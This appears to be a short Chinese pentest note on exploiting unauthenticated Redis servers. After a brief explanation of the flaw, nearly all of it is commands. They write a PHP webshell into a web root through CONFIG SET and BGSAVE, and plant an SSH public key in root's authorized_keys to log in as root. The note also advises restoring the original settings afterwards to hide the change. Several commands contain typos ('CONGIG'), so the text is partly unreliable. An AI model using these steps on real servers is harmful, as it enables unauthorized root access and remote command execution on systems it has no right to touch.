一、什么是redis未授权访问漏洞:
1、redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘。主要用于快速缓存,数据转存处理等。默认redis开在6379端口,可以直接访问。并不需要任何认证信息,由此带来了巨大的安全隐患。
2、如何验证redis未授权访问是否开启:
#使用kali或者任何linux系统安装redis-cli
redis-cli -h target_ip
#成功即说明未授权访问。
3、未授权访问如何拿到shell呢,这里讲解redis服务器开在linux上的情况。
(1)写webshell:
条件:有web服务器,根目录已知
CONFIG SET dir /path/www/html # 修改备份目录
CONGIG SET dbfilename *.php # 修改备份文件名为我们的shell名
SET * "<?php system($_GET['cmd']);?>"
BGSAVE
DEL payload
CONFIG SET dir /usr/local/redis
CONGIG SET dbfilename dump.rdb
#最好使用CONFIG GET 看看原来啥样就回复成啥样
(2)写公钥ssh登录
cd /root/.ssh/
ssh-keygen -t rsa
/root/.ssh/id_rsa
vim /root/.ssh/id_rsa.pub #==== >public key
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "public_key"
save
del x
config set dir /usr/local/redis
config set dbfilename dump.rdb
ssh -i ./id_rsa root@target_ip